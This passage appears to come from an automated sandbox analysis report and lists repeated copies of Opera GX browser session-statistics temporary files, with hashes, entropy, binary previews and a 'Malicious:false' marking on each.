                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d9457.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d9477.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d94b5.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d94c5.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d94e4.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d9503.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d9513.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d961d.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d964b.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d9b5c.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d9b6c.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da148.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da186.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da242.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da280.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da2de.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da34c.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
